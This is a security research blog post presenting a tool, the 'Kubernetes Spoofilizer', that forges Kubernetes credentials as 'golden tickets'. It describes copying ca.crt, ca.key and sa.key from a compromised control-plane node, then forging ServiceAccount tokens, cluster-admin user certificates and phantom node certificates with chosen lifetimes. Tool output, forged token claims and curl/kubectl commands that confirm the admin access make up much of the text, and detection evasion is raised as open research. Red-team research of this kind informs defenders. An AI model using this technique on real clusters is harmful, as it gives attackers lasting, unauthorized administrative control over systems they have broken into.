Kubernetes Golden Tickets
Inspired by Kerberos Golden Tickets, I researched what would be necessary to maintain long-term access into a Kubernetes cluster–effectively how to craft Kubernetes Golden Tickets. This research yielded the Kubernetes Spoofilizer: a tool which can create arbitrary ServiceAccount tokens, as well as administrative user certificates!
Setup is straightforward: on a compromised Kubernetes cluster, copy the Certificate Authority certificate & key, along with the ServiceAccount key from one of the control plane nodes, and now you can create tokens and user certificates with any level of access. And with any expiration times you want!
Such a method for persistent access is especially attractive against Kubernetes v1.22 and later, as SA tokens transitioned from never having expiration to having an expiration of just one hour.
Setup
As mentioned above, three files are needed from a control plane node; all three typically reside in /etc/kubernetes/pki/
: ca.crt
, ca.key
, and sa.key
. Place them in a separate directory, then use Kubernetes Spoofilizer to download a list of all ServiceAccounts:
This is the only online operation needed. From this point on, SA tokens and certificates can be forged entirely offline.
ServiceAccount Token Forgery
With the keys and ServiceAccount UIDs obtained, we can now forge tokens for any existing ServiceAccount in the cluster. For example, to create a token for the deployment-controller
SA in the kube-system
namespace:
[+] Found UID in cache for kube-system/deployment-controller: ed0192c9-6764-46c8-9a4d-7210253782dd
Unsigned & unencoded JWT:
{
"alg": "RS256",
"kid": ""
}
{
"aud": [
"https://kubernetes.default.svc.cluster.local"
],
"exp": 1740257684,
"iat": 1740254084,
"iss": "https://kubernetes.default.svc.cluster.local",
"jti": "7ff720a1-285e-4518-b20f-586a752db523",
"kubernetes.io": {
"namespace": "kube-system",
"serviceaccount": {
"name": "deployment-controller",
"uid": "ed0192c9-6764-46c8-9a4d-7210253782dd"
},
"nbf": 1740254084,
"sub": "system:serviceaccount:kube-system:deployment-controller"
}
}
Forged ServiceAccount token for kube-system/deployment-controller with TTL of 3600 seconds:
eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJhd[...]
[+] This token can be tested by putting it into an environment variable named $TOKEN, then running:
curl https://kube-api:6443/apis/authentication.k8s.io/v1/selfsubjectreviews --cacert key_dir//ca.crt -X POST -H "Content-Type: application/yaml" -H "Authorization: Bearer $TOKEN" -d '{"apiVersion":"authentication.k8s.io/v1","kind":"SelfSubjectReview"}'
[+] A kubeconfig file has been created in key_dir/kubeconfig_token_kube-system_deployment-controller. Test it with:
kubectl --kubeconfig=key_dir/kubeconfig_token_kube-system_deployment-controller auth whoami
As you can see, the (truncated) token was created in the output above, along with a curl
command to test it with. Additionally, an entire kubeconfig file was also generated, allowing us to use the standard kubectl
client easily:
$ kubectl --kubeconfig=key_dir/kubeconfig_token_kube-system_deployment-controller auth whoami
ATTRIBUTE VALUE
Username system:serviceaccount:kube-system:deployment-controller
UID ed0192c9-6764-46c8-9a4d-7210253782dd
Groups [system:serviceaccounts system:serviceaccounts:kube-system system:authenticated]
Extra: authentication.kubernetes.io/credential-id [JTI=7ff720a1-285e-4518-b20f-586a752db523]
Success!
User Certificate Forgery
We can also forge user certificates with administrative rights. To create a username of kubernetes-admin
bound to the cluster-admins
role:
Creating a user certificate with a cluster role of cluster-admins and a username of kubernetes-admin...
[...]
Successfully created key_dir/cluster-admins_kubernetes-admin.crt and key_dir/cluster-admins_kubernetes-admin.key!
The certificate can be tested with: curl https://kube-api:6443/apis/authentication.k8s.io/v1/selfsubjectreviews --cacert key_dir/ca.crt --cert key_dir/cluster-admins_kubernetes-admin.crt --key key_dir/cluster-admins_kubernetes-admin.key -X POST -H "Content-Type: application/yaml" -d '{"apiVersion":"authentication.k8s.io/v1","kind":"SelfSubjectReview"}'
A kubeconfig file has been created in key_dir/kubeconfig_cluster-admins_kubernetes-admin. Test it with: kubectl --kubeconfig=key_dir/kubeconfig_cluster-admins_kubernetes-admin auth whoami
Observe that the output of the auth whoami
command shows that we have cluster-admin
rights!:
$ kubectl --kubeconfig=key_dir/kubeconfig_cluster-admins_kubernetes-admin auth whoami
ATTRIBUTE VALUE
Username kubernetes-admin
Groups [kubeadm:cluster-admins system:authenticated]
Extra: authentication.kubernetes.io/credential-id [X509SHA256=103e3f6017b61903bcb394f488a2647bad65e85c2736900fd191602d0efc2f7d]
Node Certificate Forgery
Worker nodes also use certificates to identify themselves to the cluster; these, too, can be forged:
Creating a node certificate with a group of system:nodes and a name of phantomnode...
[...]
Successfully created key_dir/node_phantomnode.crt and key_dir/node_phantomnode.key!
[...]
A kubeconfig file has been created in key_dir/kubeconfig_node_phantomnode.
[...]
Now let’s test it:
$ kubectl --kubeconfig=key_dir/kubeconfig_node_phantomnode auth whoami
ATTRIBUTE VALUE
Username system:node:phantomnode
Groups [system:nodes system:authenticated]
Extra: authentication.kubernetes.io/credential-id [X509SHA256=494e0e18cfa045f7b6782050390a89697d1a0fee7540fa606627fa1a3399bbce]
As you can see, the node name does not need to belong to an existing node in the cluster; Kubernetes v1.32 seems content to treat any node name as valid.
Future Research
Depending on the cluster configuration, nodes typically do not have access to many functions by default. Casual experimentation shows that nodes can enumerate services
and runtimeclasses.node.k8s.io
objects. However, given that many third-party plugins create their own objects, and sometimes modify permissions, there may be cases where node certificates can access privileged information.
The question of whether node certificates are useful for evading detection is currently open. If anyone discovers some interesting results, please let me know!
Conclusion
The Kubernetes Spoofilizer is a very useful tool for effectively creating Kubernetes Golden Tickets, which allow for long-term, persistent access into a cluster.